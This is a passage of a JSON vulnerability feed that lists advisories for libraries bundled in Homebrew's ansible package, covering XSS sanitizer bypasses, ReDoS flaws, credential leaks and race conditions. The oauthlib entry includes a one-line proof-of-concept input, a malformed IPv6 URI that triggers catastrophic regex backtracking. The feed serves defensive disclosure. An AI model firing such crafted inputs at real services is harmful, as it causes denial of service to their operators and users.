ub.com/urllib3/urllib3/releases/tag/1.26.4"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4S65ZQVZ2ODGB52IC7VJDBUK4M5INCXL"},{"type":"WEB","url":"https://pypi.org/project/urllib3/1.26.4"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202107-36"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202305-02"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240621-0007"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-28957","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-jq4v-f5q6-mjqq","CVE-2021-28957","PYSEC-2021-19"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.6.3","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"lxml vulnerable to Cross-Site Scripting ","details":"An XSS vulnerability was discovered in the python `lxml` clean module versions before 4.6.3. When disabling `the safe_attrs_only` and `forms` arguments, the `Cleaner` class does not remove the `formaction` attribute allowing for JS to bypass the sanitizer. A remote attacker could exploit this flaw to run arbitrary JS code on users who interact with incorrectly sanitized HTML. This issue is patched in `lxml` 4.6.3.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-28957"},{"type":"WEB","url":"https://github.com/lxml/lxml/pull/316"},{"type":"WEB","url":"https://github.com/lxml/lxml/pull/316/commits/10ec1b4e9f93713513a3264ed6158af22492f270"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/2d01a1ba8984e0483ce6619b972832377f208a0d"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/a5f9cb52079dc57477c460dbe6ba0f775e14a999"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2021.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4880"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20210521-0004"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202208-06"},{"type":"WEB","url":"https://pypi.org/project/lxml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXN3QPWCTQVOGW4BMWV3AUUZZ4NRZNSQ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3C2R44VDUY7FJVMAVRZ2WY7XYL4SVN45"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/03/msg00031.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2021-19.yaml"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jq4v-f5q6-mjqq"},{"type":"WEB","url":"https://bugs.launchpad.net/lxml/+bug/1888153"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-33503","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-q2q7-5pp4-w6pg","CVE-2021-33503","PYSEC-2021-108"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.26.5","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Catastrophic backtracking in URL authority parser when passed URL containing many @ characters","details":"### Impact\n\nWhen provided with a URL containing many `@` characters in the authority component the authority regular expression exhibits catastrophic backtracking causing a denial of service if a URL were passed as a parameter or redirected to via an HTTP redirect.\n\n\n### Patches\n\nThe issue has been fixed in urllib3 v1.26.5.\n\n### References\n\n- [CVE-2021-33503](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33503)\n- [JVNVU#92413403 (English)](https://jvn.jp/en/vu/JVNVU92413403/)\n- [JVNVU#92413403 (Japanese)](https://jvn.jp/vu/JVNVU92413403/)\n- [urllib3 v1.26.5](https://github.com/urllib3/urllib3/releases/tag/1.26.5)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Ask in our [community Discord](https://discord.gg/urllib3)\n* Email [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-q2q7-5pp4-w6pg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-33503"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/2d4a3fee6de2fa45eb82169361918f759269b4ec"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/5b047b645f5f93900d5e2fc31230848c25eb1f5f#diff-52026d639119bf1e0364836b4e8a18bd9ed3c95c6ba39b26534a5057a65e35bbR65"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-q2q7-5pp4-w6pg"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2021-108.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6SCV7ZNAHS3E6PBFLJGENCDRDRWRZZ6W"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FMUGWEAUYGGHTPPXT6YBD53WYXQGVV73"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202107-36"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-3447","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2021-3447","PYSEC-2021-107"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.2"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in several ansible modules, where parameters containing credentials, such as secrets, were being logged in plain-text on managed nodes, as well as being made visible on the controller node when run in verbose mode. These parameters were not protected by the no_log feature. An attacker can take advantage of this information to steal those credentials, provided when they have access to the log files containing them. The highest threat from this vulnerability is to data confidentiality. This flaw affects Red Hat Ansible Automation Platform in versions before 1.2.2 and Ansible Tower in versions before 3.8.2.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2MS4VPUYVLGSAKOX26IT52BSMEZRZ3KS/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JBZ75MAMVQVZROPYHMRDQKPPVASP63DG/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RUTGO4RS4ZXZSPBU2CHVPT75IAFVTTL3/"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1939349"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-3533","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["PYSEC-2021-126","CVE-2021-3533"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"}]},"details":"A flaw was found in Ansible if an ansible user sets ANSIBLE_ASYNC_DIR to a subdirectory of a world writable directory. When this occurs, there is a race condition on the managed machine. A malicious, non-privileged account on the remote machine can exploit the race condition to access the async result data. This flaw affects Ansible Tower 3.7 and Ansible Automation Platform 1.2.","references":[{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1956477"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-3583","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2021-3583","GHSA-2pfh-q76x-gwvm","PYSEC-2021-358"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.11.2rc1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible, where a user's controller is vulnerable to template injection. This issue can occur through facts used in the template if the user is trying to put templates in multi-line YAML strings and the facts being handled do not routinely include special template characters. This flaw allows attackers to perform command injection, which discloses sensitive information. The highest threat from this vulnerability is to confidentiality and integrity.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1968412"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-3620","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2021-3620","GHSA-4r65-35qq-ch8j","PYSEC-2022-164"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.27"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible Engine's ansible-connection module, where sensitive information such as the Ansible user credentials is disclosed by default in the traceback error message. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1975767"},{"type":"FIX","url":"https://github.com/ansible/ansible/commit/fe28767970c8ec62aabe493c46b53a5de1e5fac0"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-43818","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-55x5-fj6c-h6m8","CVE-2021-43818","PYSEC-2021-852"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.6.5","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"lxml's HTML Cleaner allows crafted and SVG embedded scripts to pass through","details":"### Impact\nThe HTML Cleaner in lxml.html lets certain crafted script content pass through, as well as script content in SVG files embedded using data URIs.\n\nUsers that employ the HTML cleaner in a security relevant context should upgrade to lxml 4.6.5.\n\n### Patches\nThe issue has been resolved in lxml 4.6.5.\n\n### Workarounds\nNone.\n\n### References\nThe issues are tracked under the report IDs GHSL-2021-1037 and GHSL-2021-1038.\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/lxml/lxml/security/advisories/GHSA-55x5-fj6c-h6m8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-43818"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/12fa9669007180a7bb87d990c375cf91ca5b664a"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/a3eacbc0dcf1de1c822ec29fb7d090a4b1712a9c#diff-59130575b4fb2932c957db2922977d7d89afb0b2085357db1a14615a2fcad776"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/f2330237440df7e8f39c3ad1b1aa8852be3b27c0"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2022.html"},{"type":"WEB","url":"https://www.debian.org/security/2022/dsa-5043"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20220107-0005"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202208-06"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZQ4SPKJX3RRJK4UWA6FXCRHD2TVRQI44"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WZGNET2A4WGLSUXLBFYKNC5PXHQMI3I7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/V2XMOM5PFT6U5AAXY6EFNT5JZCKKHK2V"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TUIS2KE3HZ2AAQKXFLTJFZPP2IFHJTC7"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/12/msg00037.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2021-852.yaml"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-46823","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-qfr5-wjpw-q4c4","CVE-2021-46823","GHSA-r8wq-qrxc-hmcm","PYSEC-2026-912"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.4.0","resource":"python-ldap","resource_purl":"pkg:pypi/python-ldap@3.4.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-ldap","subject_version":"3.4.8","key":"pkg:pypi/python-ldap@3.4.8","resource":"python-ldap"}]},"summary":"Denial of Service in python-ldap","details":"python-ldap before 3.4.0 is vulnerable to a denial of service when ldap.schema is used for untrusted schema definitions, because of a regular expression denial of service (ReDoS) flaw in the LDAP schema parser. By sending crafted regex input, a remote authenticated attacker could exploit this vulnerability to cause a denial of service condition.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/security/advisories/GHSA-r8wq-qrxc-hmcm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-46823"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/221507"},{"type":"PACKAGE","url":"https://github.com/python-ldap/python-ldap"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-0718","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-wmqq-r32m-87c5","CVE-2022-0718","PYSEC-2022-258"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.10.1","resource":"oslo-utils","resource_purl":"pkg:pypi/oslo-utils@10.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oslo-utils","subject_version":"10.2.0","key":"pkg:pypi/oslo-utils@10.2.0","resource":"oslo-utils"}]},"summary":"python-oslo-utils has improper password parsing","details":"A flaw was found in python-oslo-utils. Due to improper parsing, passwords with a double quote ( \" ) in them cause incorrect masking in debug logs, causing any part of the password after the double quote to be plaintext","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-0718"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2022:0993"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2022:8873"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2022-0718"},{"type":"WEB","url":"https://bugs.launchpad.net/oslo.utils/+bug/1949623"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2056850"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wmqq-r32m-87c5"},{"type":"PACKAGE","url":"https://github.com/openstack/oslo.utils"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oslo-utils/PYSEC-2022-258.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/09/msg00015.html"},{"type":"WEB","url":"https://opendev.org/openstack/oslo.utils/commit/6e17ae1f7959c64dfd20a5f67edf422e702426aa"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2022-0718"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-2309","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-wrxv-2j5q-m38w","CVE-2022-2309","PYSEC-2022-230"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.9.1","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"lxml NULL Pointer Dereference allows attackers to cause a denial of service","details":"NULL Pointer Dereference allows attackers to cause a denial of service (or application crash). This only applies when lxml is used together with libxml2 2.9.10 through 2.9.14. libxml2 2.9.9 and earlier are not affected. It allows triggering crashes through forged input data, given a vulnerable code sequence in the application. The vulnerability is caused by the iterwalk function (also used by the canonicalize function). Such code shouldn't be in wide-spread use, given that parsing + iterwalk would usually be replaced with the more efficient iterparse function. However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence. If untrusted input is received (also remotely) and processed via iterwalk function, a crash can be triggered.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-2309"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/86368e9cf70a0ad23cccd5ee32de847149af0c6f"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wrxv-2j5q-m38w"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/lxml/lxml/blob/master/CHANGES.txt"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2022-230.yaml"},{"type":"WEB","url":"https://huntr.dev/bounties/8264e74f-edda-4c40-9956-49de635105ba"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/09/msg00021.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HGYC6L7ENH5VEGN3YWFBYMGKX6WNS7HZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/URHHSIBTPTALXMECRLAC2EVDNAFSR5NO"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202208-06"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20220915-0006"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-24302","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-f8q4-jwww-x3wv","CVE-2022-24302","PYSEC-2022-166"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.0.0","key":"pkg:pypi/paramiko@5.0.0","resource":"paramiko"}]},"summary":"Race Condition in Paramiko","details":"In Paramiko before 2.10.1, a race condition (between creation and chmod) in the write_private_key_file function could allow unauthorized information disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-24302"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/commit/4c491e299c9b800358b16fa4886d8d94f45abe2e"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f8q4-jwww-x3wv"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/blob/363a28d94cada17f012c1604a3c99c71a2bda003/paramiko/pkey.py#L546"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2022-166.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/03/msg00032.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/09/msg00013.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LUEUEGILZ7MQXRSUF5VMMO4SWJQVPTQL"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TPMKRUS4HO3P7NR7P4Y6CLHB4MBEE3AI"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/U63MJ2VOLLQ35R7CYNREUHSXYLWNPVSB"},{"type":"WEB","url":"https://www.paramiko.org/changelog.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-36087","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:43:27Z","upstream":["GHSA-3pgj-pg6c-r5p7","CVE-2022-36087","PYSEC-2022-269"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.2","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@4.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"4.0.0","key":"pkg:pypi/oauthlib@4.0.0","resource":"oauthlib"}]},"summary":"OAuthLib vulnerable to DoS when attacker provides malicious IPV6 URI","details":"### Impact\n- Attacker providing malicious redirect uri can cause DoS to oauthlib's web application.\n- Attacker can also leverage usage of `uri_validate` functions depending where it is used.\n\n_What kind of vulnerability is it? Who is impacted?_\n\nOauthlib applications using OAuth2.0 provider support or use directly `uri_validate` function.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIssue fixed in 3.2.2 release.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThe `redirect_uri` can be verified in web toolkit (i.e `bottle-oauthlib`, `django-oauth-toolkit`, ...) before oauthlib is called. A sample check if `:` is present to reject the request can prevent the DoS, assuming no port or IPv6 is fundamentally required.\n\n### References\nAttack Vector:\n- Attacker providing malicious redirect uri:\nhttps://github.com/oauthlib/oauthlib/blob/d4bafd9f1d0eba3766e933b1ac598cbbf37b8914/oauthlib/oauth2/rfc6749/grant_types/base.py#L232\n- Vulnerable `uri_validate` functions:\nhttps://github.com/oauthlib/oauthlib/blob/2b8a44855a51ad5a5b0c348a08c2564a2e197ea2/oauthlib/uri_validate.py\n\n### PoC\n```python\nis_absolute_uri(\"http://[:::::::::::::::::::::::::::::::::::::::]/path\")\n```\n\n### Acknowledgement\nSpecial thanks to Sebastian Chnelik - 